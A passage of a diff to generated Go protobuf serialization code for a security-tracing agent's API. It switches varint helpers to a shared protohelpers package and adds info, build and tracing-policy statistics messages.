len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if len(m.Version) > 0 { - i -= len(m.Version) - copy(dAtA[i:], m.Version) - i = encodeVarint(dAtA, i, uint64(len(m.Version))) + if m.Enabled != nil { + size, err := (*wrapperspb.BoolValue)(m.Enabled).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } return len(dAtA) - i, nil } -func (m *DumpProcessCacheReqArgs) MarshalVT() (dAtA []byte, err error) { +func (m *GetInfoResponse_ConfVal) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1138,12 +1270,12 @@ func (m *DumpProcessCacheReqArgs) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *DumpProcessCacheReqArgs) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_ConfVal) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *DumpProcessCacheReqArgs) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_ConfVal) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1155,30 +1287,27 @@ func (m *DumpProcessCacheReqArgs) MarshalToSizedBufferVT(dAtA []byte) (int, erro i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if m.ExcludeExecveMapProcesses { - i-- - if m.ExcludeExecveMapProcesses { - dAtA[i] = 1 - } else { - dAtA[i] = 0 + if m.Value != nil { + size, err := (*anypb.Any)(m.Value).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- - dAtA[i] = 0x10 + dAtA[i] = 0x12 } - if m.SkipZeroRefcnt { - i-- - if m.SkipZeroRefcnt { - dAtA[i] = 1 - } else { - dAtA[i] = 0 - } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Key))) i-- - dAtA[i] = 0x8 + dAtA[i] = 0xa } return len(dAtA) - i, nil } -func (m *ProcessInternal) MarshalVT() (dAtA []byte, err error) { +func (m *GetInfoResponse_BuildInfo) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1191,12 +1320,12 @@ func (m *ProcessInternal) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *ProcessInternal) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_BuildInfo) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *ProcessInternal) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse_BuildInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1208,66 +1337,38 @@ func (m *ProcessInternal) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if len(m.RefcntOps) > 0 { - for k := range m.RefcntOps { - v := m.RefcntOps[k] - baseI := i - i = encodeVarint(dAtA, i, uint64(v)) - i-- - dAtA[i] = 0x10 - i -= len(k) - copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) - i-- - dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) - i-- - dAtA[i] = 0x22 - } + if len(m.Modified) > 0 { + i -= len(m.Modified) + copy(dAtA[i:], m.Modified) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Modified))) + i-- + dAtA[i] = 0x22 } - if m.Refcnt != nil { - if vtmsg, ok := interface{}(m.Refcnt).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.Refcnt) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) - } + if len(m.Time) > 0 { + i -= len(m.Time) + copy(dAtA[i:], m.Time) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Time))) i-- dAtA[i] = 0x1a } - if len(m.Color) > 0 { - i -= len(m.Color) - copy(dAtA[i:], m.Color) - i = encodeVarint(dAtA, i, uint64(len(m.Color))) + if len(m.Commit) > 0 { + i -= len(m.Commit) + copy(dAtA[i:], m.Commit) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Commit))) i-- dAtA[i] = 0x12 } - if m.Process != nil { - size, err := m.Process.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) + if len(m.GoVersion) > 0 { + i -= len(m.GoVersion) + copy(dAtA[i:], m.GoVersion) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.GoVersion))) i-- dAtA[i] = 0xa } return len(dAtA) - i, nil } -func (m *DumpProcessCacheResArgs) MarshalVT() (dAtA []byte, err error) { +func (m *GetInfoResponse) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1280,12 +1381,12 @@ func (m *DumpProcessCacheResArgs) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *DumpProcessCacheResArgs) MarshalToVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *DumpProcessCacheResArgs) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *GetInfoResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1297,22 +1398,58 @@ func (m *DumpProcessCacheResArgs) MarshalToSizedBufferVT(dAtA []byte) (int, erro i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if len(m.Processes) > 0 { - for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { - size, err := m.Processes[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if m.Build != nil { + size, err := m.Build.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + if len(m.Conf) > 0 { + for iNdEx := len(m.Conf) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Conf[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) if err != nil { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- - dAtA[i] = 0xa + dAtA[i] = 0x22 + } + } + if len(m.Probes) > 0 { + for iNdEx := len(m.Probes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Probes[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a } } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Version))) + i-- + dAtA[i] = 0xa + } return len(dAtA) - i, nil } -func (m *GetDebugRequest) MarshalVT() (dAtA []byte, err error) { +func (m *DumpProcessCacheReqArgs) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -1325,12 +1462,12 @@ func (m *GetDebugRequest) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *GetDebugRequest) MarshalToVT(dAtA []byte) (int, error) { +func (m *DumpProcessCacheReqArgs) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *GetDebugRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *DumpProcessCacheReqArgs) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -1342,24 +1479,199 @@ func (m *GetDebugRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if vtmsg, ok := m.Arg.(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err + if m.ExcludeExecveMapProcesses { + i-- + if m.ExcludeExecveMapProcesses { + dAtA[i] = 1 + } else { + dAtA[i] = 0 } - i -= size - } - if m.Flag != 0 { - i = encodeVarint(dAtA, i, uint64(m.Flag)) i-- - dAtA[i] = 0x8 + dAtA[i] = 0x10 } - return len(dAtA) - i, nil -} - -func (m *GetDebugRequest_Dump) MarshalToVT(dAtA []byte) (int, error) { + if m.SkipZeroRefcnt { + i-- + if m.SkipZeroRefcnt { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *ProcessInternal) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ProcessInternal) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ProcessInternal) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.RefcntOps) > 0 { + for k := range m.RefcntOps { + v := m.RefcntOps[k] + baseI := i + i = protohelpers.EncodeVarint(dAtA, i, uint64(v)) + i-- + dAtA[i] = 0x10 + i -= len(k) + copy(dAtA[i:], k) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if m.Refcnt != nil { + size, err := (*wrapperspb.UInt32Value)(m.Refcnt).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } + if len(m.Color) > 0 { + i -= len(m.Color) + copy(dAtA[i:], m.Color) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Color))) + i-- + dAtA[i] = 0x12 + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *DumpProcessCacheResArgs) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *DumpProcessCacheResArgs) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *DumpProcessCacheResArgs) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Processes) > 0 { + for iNdEx := len(m.Processes) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Processes[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *GetDebugRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetDebugRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *GetDebugRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if vtmsg, ok := m.Arg.(interface { + MarshalToSizedBufferVT([]byte) (int, error) + }); ok { + size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + } + if m.Flag != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Flag)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *GetDebugRequest_Dump) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } @@ -1372,7 +1684,11 @@ func (m *GetDebugRequest_Dump) MarshalToSizedBufferVT(dAtA []byte) (int, error) return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x12 } @@ -1418,7 +1734,7 @@ func (m *GetDebugResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= size } if m.Flag != 0 { - i = encodeVarint(dAtA, i, uint64(m.Flag)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Flag)) i-- dAtA[i] = 0x8 } @@ -1432,7 +1748,7 @@ func (m *GetDebugResponse_Level) MarshalToVT(dAtA []byte) (int, error) { func (m *GetDebugResponse_Level) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.Level)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Level)) i-- dAtA[i] = 0x10 return len(dAtA) - i, nil @@ -1450,7 +1766,11 @@ func (m *GetDebugResponse_Processes) MarshalToSizedBufferVT(dAtA []byte) (int, e return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x1a + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0x1a } @@ -1496,7 +1816,7 @@ func (m *SetDebugRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= size } if m.Flag != 0 { - i = encodeVarint(dAtA, i, uint64(m.Flag)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Flag)) i-- dAtA[i] = 0x8 } @@ -1510,7 +1830,7 @@ func (m *SetDebugRequest_Level) MarshalToVT(dAtA []byte) (int, error) { func (m *SetDebugRequest_Level) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.Level)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Level)) i-- dAtA[i] = 0x10 return len(dAtA) - i, nil @@ -1555,7 +1875,7 @@ func (m *SetDebugResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= size } if m.Flag != 0 { - i = encodeVarint(dAtA, i, uint64(m.Flag)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Flag)) i-- dAtA[i] = 0x8 } @@ -1569,7 +1889,7 @@ func (m *SetDebugResponse_Level) MarshalToVT(dAtA []byte) (int, error) { func (m *SetDebugResponse_Level) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i := len(dAtA) - i = encodeVarint(dAtA, i, uint64(m.Level)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Level)) i-- dAtA[i] = 0x10 return len(dAtA) - i, nil @@ -1592,14 +1912,14 @@ func (m *SensorStatus) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Enabled { n += 2 } l = len(m.Collection) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1614,7 +1934,7 @@ func (m *ListSensorsResponse) SizeVT() (n int) { if len(m.Sensors) > 0 { for _, e := range m.Sensors { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -1631,6 +1951,57 @@ func (m *ListTracingPoliciesRequest) SizeVT() (n int) { return n } +func (m *TracingPolicyActionCounters) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Post != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Post)) + } + if m.Signal != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Signal)) + } + if m.MonitorSignal != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MonitorSignal)) + } + if m.Override != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Override)) + } + if m.MonitorOverride != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MonitorOverride)) + } + if m.NotifyEnforcer != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.NotifyEnforcer)) + } + if m.MonitorNotifyEnforcer != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MonitorNotifyEnforcer)) + } + if m.Set != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Set)) + } + if m.MonitorSet != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.MonitorSet)) + } + n += len(m.unknownFields) + return n +} + +func (m *TracingPolicyStats) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ActionCounters != nil { + l = m.ActionCounters.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + func (m *TracingPolicyStatus) SizeVT() (n int) { if m == nil { return 0 @@ -1638,44 +2009,48 @@ func (m *TracingPolicyStatus) SizeVT() (n int) { var l int _ = l if m.Id != 0 { - n += 1 + sov(uint64(m.Id)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Id)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Info) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if len(m.Sensors) > 0 { for _, s := range m.Sensors { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } if m.Enabled { n += 2 } if m.FilterId != 0 { - n += 1 + sov(uint64(m.FilterId)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.FilterId)) } l = len(m.Error) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.State != 0 { - n += 1 + sov(uint64(m.State)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.State)) } if m.KernelMemoryBytes != 0 { - n += 1 + sov(uint64(m.KernelMemoryBytes)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.KernelMemoryBytes)) } if m.Mode != 0 { - n += 1 + sov(uint64(m.Mode)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Mode)) + } + if m.Stats != nil { + l = m.Stats.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1690,7 +2065,7 @@ func (m *ListTracingPoliciesResponse) SizeVT() (n int) { if len(m.Policies) > 0 { for _, e := range m.Policies { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -1705,7 +2080,7 @@ func (m *AddTracingPolicyRequest) SizeVT() (n int) { _ = l l = len(m.Yaml) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1729,11 +2104,11 @@ func (m *DeleteTracingPolicyRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1757,11 +2132,11 @@ func (m *EnableTracingPolicyRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1785,11 +2160,11 @@ func (m *DisableTracingPolicyRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1813,17 +2188,17 @@ func (m *ConfigureTracingPolicyRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Namespace) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Enable != nil { n += 2 } if m.Mode != nil { - n += 1 + sov(uint64(*m.Mode)) + n += 1 + protohelpers.SizeOfVarint(uint64(*m.Mode)) } n += len(m.unknownFields) return n @@ -1847,7 +2222,7 @@ func (m *RemoveSensorRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1871,7 +2246,7 @@ func (m *EnableSensorRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1895,7 +2270,7 @@ func (m *DisableSensorRequest) SizeVT() (n int) { _ = l l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -1911,35 +2286,31 @@ func (m *DisableSensorResponse) SizeVT() (n int) { return n } -func (m *GetStackTraceTreeRequest) SizeVT() (n int) { +func (m *GetVersionRequest) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - l = len(m.Name) - if l > 0 { - n += 1 + l + sov(uint64(l)) - } n += len(m.unknownFields) return n } -func (m *GetStackTraceTreeResponse) SizeVT() (n int) { +func (m *GetVersionResponse) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.Root != nil { - l = m.Root.SizeVT() - n += 1 + l + sov(uint64(l)) + l = len(m.Version) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *GetVersionRequest) SizeVT() (n int) { +func (m *GetInfoRequest) SizeVT() (n int) { if m == nil { return 0 } @@ -1949,96 +2320,172 @@ func (m *GetVersionRequest) SizeVT() (n int) { return n } -func (m *GetVersionResponse) SizeVT() (n int) { +func (m *GetInfoResponse_Probe) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - l = len(m.Version) + l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Enabled != nil { + l = (*wrapperspb.BoolValue)(m.Enabled).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *DumpProcessCacheReqArgs) SizeVT() (n int) { +func (m *GetInfoResponse_ConfVal) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.SkipZeroRefcnt { - n += 2 + l = len(m.Key) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - if m.ExcludeExecveMapProcesses { - n += 2 + if m.Value != nil { + l = (*anypb.Any)(m.Value).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *ProcessInternal) SizeVT() (n int) { +func (m *GetInfoResponse_BuildInfo) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.Process != nil { - l = m.Process.SizeVT() - n += 1 + l + sov(uint64(l)) + l = len(m.GoVersion) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - l = len(m.Color) + l = len(m.Commit) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - if m.Refcnt != nil { - if size, ok := interface{}(m.Refcnt).(interface { - SizeVT() int - }); ok { - l = size.SizeVT() - } else { - l = proto.Size(m.Refcnt) - } - n += 1 + l + sov(uint64(l)) + l = len(m.Time) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } - if len(m.RefcntOps) > 0 { - for k, v := range m.RefcntOps { - _ = k - _ = v - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + 1 + sov(uint64(v)) - n += mapEntrySize + 1 + sov(uint64(mapEntrySize)) - } + l = len(m.Modified) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func (m *DumpProcessCacheResArgs) SizeVT() (n int) { +func (m *GetInfoResponse) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if len(m.Processes) > 0 { - for _, e := range m.Processes { + l = len(m.Version) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Probes) > 0 { + for _, e := range m.Probes { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + if len(m.Conf) > 0 { + for _, e := range m.Conf { l = e.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } + if m.Build != nil { + l = m.Build.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } n += len(m.unknownFields) return n } -func (m *GetDebugRequest) SizeVT() (n int) { +func (m *DumpProcessCacheReqArgs) SizeVT() (n int) { if m == nil { return 0 } var l int _ = l - if m.Flag != 0 { - n += 1 + sov(uint64(m.Flag)) + if m.SkipZeroRefcnt { + n += 2 + } + if m.ExcludeExecveMapProcesses { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *ProcessInternal) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Process != nil { + l = m.Process.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Color) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Refcnt != nil { + l = (*wrapperspb.UInt32Value)(m.Refcnt).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.RefcntOps) > 0 { + for k, v := range m.RefcntOps { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + 1 + protohelpers.SizeOfVarint(uint64(v)) + n += mapEntrySize + 1 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *DumpProcessCacheResArgs) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Processes) > 0 { + for _, e := range m.Processes { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *GetDebugRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Flag != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Flag)) } if vtmsg, ok := m.Arg.(interface{ SizeVT() int }); ok { n += vtmsg.SizeVT() @@ -2055,7 +2502,9 @@ func (m *GetDebugRequest_Dump) SizeVT() (n int) { _ = l if m.Dump != nil { l = m.Dump.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -2066,7 +2515,7 @@ func (m *GetDebugResponse) SizeVT() (n int) { var l int _ = l if m.Flag != 0 { - n += 1 + sov(uint64(m.Flag)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Flag)) } if vtmsg, ok := 